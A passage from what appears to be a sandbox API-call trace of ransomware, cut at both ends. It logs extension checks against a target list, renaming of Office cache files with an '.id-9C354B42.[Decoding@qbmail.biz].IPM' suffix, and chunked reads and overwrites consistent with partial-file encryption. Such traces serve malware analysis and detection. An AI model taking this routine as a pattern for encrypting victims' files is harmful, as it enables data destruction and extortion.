lpString2="g.msi") returned -1 [0091.112] lstrlenW (lpString=".ppt") returned 4 [0091.112] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.112] lstrlenW (lpString=".zip") returned 4 [0091.112] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.112] lstrlenW (lpString=".rar") returned 4 [0091.113] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.113] lstrlenW (lpString=".bz2") returned 4 [0091.113] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.113] lstrlenW (lpString=".7z") returned 3 [0091.113] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.113] lstrlenW (lpString=".dbf") returned 4 [0091.113] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.113] lstrlenW (lpString=".1cd") returned 4 [0091.113] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.113] lstrlenW (lpString=".jpg") returned 4 [0091.113] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.113] lstrlenW (lpString=".doc") returned 4 [0091.113] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.113] lstrlenW (lpString=".docx") returned 5 [0091.113] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0091.113] lstrlenW (lpString=".pdf") returned 4 [0091.113] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.113] lstrlenW (lpString=".xls") returned 4 [0091.114] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.114] lstrlenW (lpString=".xlsx") returned 5 [0091.114] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0091.114] lstrlenW (lpString=".ppt") returned 4 [0091.114] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.114] lstrlenW (lpString=".zip") returned 4 [0091.114] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.114] lstrlenW (lpString=".rar") returned 4 [0091.114] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.114] lstrlenW (lpString=".bz2") returned 4 [0091.114] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.114] lstrlenW (lpString=".7z") returned 3 [0091.114] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.114] lstrlenW (lpString=".dbf") returned 4 [0091.114] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.114] lstrlenW (lpString=".1cd") returned 4 [0091.114] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0091.114] lstrlenW (lpString=".jpg") returned 4 [0091.115] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.115] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0091.115] lstrlenW (lpString="InfLR.cab") returned 9 [0091.115] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0091.115] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=18874884) returned 1 [0091.115] CloseHandle (hObject=0x1c8) returned 1 [0091.116] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0091.116] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0091.116] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0091.117] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0091.117] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0091.117] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0091.117] ReadFile (in: hFile=0x1c8, lpBuffer=0x3a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a70058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0091.143] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0091.143] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ab0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0091.194] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0091.194] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0091.194] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3af0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0091.683] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.683] WriteFile (in: hFile=0x1c8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x302fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0091.706] SetEndOfFile (hFile=0x1c8) returned 1 [0091.706] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fc4018 [0091.712] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0091.712] WriteFile (in: hFile=0x1c8, lpBuffer=0x3fc4018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc4018*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.846] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0092.846] WriteFile (in: hFile=0x1c8, lpBuffer=0x3fc4018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc4018*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.853] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0092.853] WriteFile (in: hFile=0x1c8, lpBuffer=0x3fc4018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc4018*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fc4018 | out: hHeap=0x5d0000) returned 1 [0092.969] CloseHandle (hObject=0x1c8) returned 1 [0094.352] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0094.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.353] lstrlenW (lpString=".doc") returned 4 [0094.353] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0094.353] lstrlenW (lpString=".docx") returned 5 [0094.353] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0094.353] lstrlenW (lpString=".pdf") returned 4 [0094.353] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0094.353] lstrlenW (lpString=".xls") returned 4 [0094.353] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0094.353] lstrlenW (lpString=".xlsx") returned 5 [0094.353] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0094.353] lstrlenW (lpString=".ppt") returned 4 [0094.353] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0094.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.353] lstrlenW (lpString=".zip") returned 4 [0094.353] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0094.353] lstrlenW (lpString=".rar") returned 4 [0094.353] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0094.353] lstrlenW (lpString=".bz2") returned 4 [0094.353] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0094.353] lstrlenW (lpString=".7z") returned 3 [0094.353] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0094.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.353] lstrlenW (lpString=".dbf") returned 4 [0094.354] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0094.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.354] lstrlenW (lpString=".1cd") returned 4 [0094.354] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0094.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.354] lstrlenW (lpString=".jpg") returned 4 [0094.354] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0094.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.354] lstrlenW (lpString=".doc") returned 4 [0094.354] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0094.354] lstrlenW (lpString=".docx") returned 5 [0094.354] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0094.354] lstrlenW (lpString=".pdf") returned 4 [0094.354] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0094.354] lstrlenW (lpString=".xls") returned 4 [0094.354] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0094.354] lstrlenW (lpString=".xlsx") returned 5 [0094.354] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0094.354] lstrlenW (lpString=".ppt") returned 4 [0094.354] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0094.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.354] lstrlenW (lpString=".zip") returned 4 [0094.354] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0094.354] lstrlenW (lpString=".rar") returned 4 [0094.355] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0094.355] lstrlenW (lpString=".bz2") returned 4 [0094.355] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0094.355] lstrlenW (lpString=".7z") returned 3 [0094.355] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0094.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.355] lstrlenW (lpString=".dbf") returned 4 [0094.355] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0094.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.355] lstrlenW (lpString=".1cd") returned 4 [0094.355] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0094.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0094.355] lstrlenW (lpString=".jpg") returned 4 [0094.355] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0094.355] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0094.355] lstrlenW (lpString="OnoteLR.cab") returned 11 [0094.356] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0094.356] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=17456632) returned 1 [0094.356] CloseHandle (hObject=0x1c8) returned 1 [0094.356] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0094.356] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0094.357] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0094.358] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0094.358] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0094.358] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0094.358] ReadFile (in: hFile=0x1c8, lpBuffer=0x3a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a70058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.444] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0094.444] ReadFile (in: hFile=0x1c8, lpBuffer=0x3ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ab0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.500] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0094.500] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0094.500] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3af0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.570] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.570] WriteFile (in: hFile=0x1c8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0095.032] SetEndOfFile (hFile=0x1c8) returned 1 [0095.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fd4020 [0095.068] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0095.069] WriteFile (in: hFile=0x1c8, lpBuffer=0x3fd4020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd4020*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.070] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0095.070] WriteFile (in: hFile=0x1c8, lpBuffer=0x3fd4020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd4020*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.070] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0095.070] WriteFile (in: hFile=0x1c8, lpBuffer=0x3fd4020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd4020*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.073] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fd4020 | out: hHeap=0x5d0000) returned 1 [0095.073] CloseHandle (hObject=0x1c8) returned 1 [0095.073] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0095.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.073] lstrlenW (lpString=".doc") returned 4 [0095.073] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0095.073] lstrlenW (lpString=".docx") returned 5 [0095.073] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0095.074] lstrlenW (lpString=".pdf") returned 4 [0095.074] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0095.074] lstrlenW (lpString=".xls") returned 4 [0095.074] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0095.074] lstrlenW (lpString=".xlsx") returned 5 [0095.074] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0095.074] lstrlenW (lpString=".ppt") returned 4 [0095.074] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0095.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.074] lstrlenW (lpString=".zip") returned 4 [0095.074] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0095.074] lstrlenW (lpString=".rar") returned 4 [0095.074] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0095.074] lstrlenW (lpString=".bz2") returned 4 [0095.074] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0095.074] lstrlenW (lpString=".7z") returned 3 [0095.074] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0095.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.074] lstrlenW (lpString=".dbf") returned 4 [0095.074] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0095.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.074] lstrlenW (lpString=".1cd") returned 4 [0095.074] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0095.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.074] lstrlenW (lpString=".jpg") returned 4 [0095.074] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0095.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.074] lstrlenW (lpString=".doc") returned 4 [0095.074] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0095.074] lstrlenW (lpString=".docx") returned 5 [0095.075] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0095.075] lstrlenW (lpString=".pdf") returned 4 [0095.075] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0095.075] lstrlenW (lpString=".xls") returned 4 [0095.075] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0095.075] lstrlenW (lpString=".xlsx") returned 5 [0095.075] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0095.075] lstrlenW (lpString=".ppt") returned 4 [0095.075] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0095.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.075] lstrlenW (lpString=".zip") returned 4 [0095.075] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0095.075] lstrlenW (lpString=".rar") returned 4 [0095.075] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0095.075] lstrlenW (lpString=".bz2") returned 4 [0095.075] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0095.075] lstrlenW (lpString=".7z") returned 3 [0095.075] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0095.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.075] lstrlenW (lpString=".dbf") returned 4 [0095.075] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0095.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.075] lstrlenW (lpString=".1cd") returned 4 [0095.075] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0095.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0095.075] lstrlenW (lpString=".jpg") returned 4 [0095.075] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0095.076] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0095.076] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0095.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0095.077] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2507776) returned 1 [0095.077] CloseHandle (hObject=0x1c8) returned 1 [0095.077] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0095.077] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: 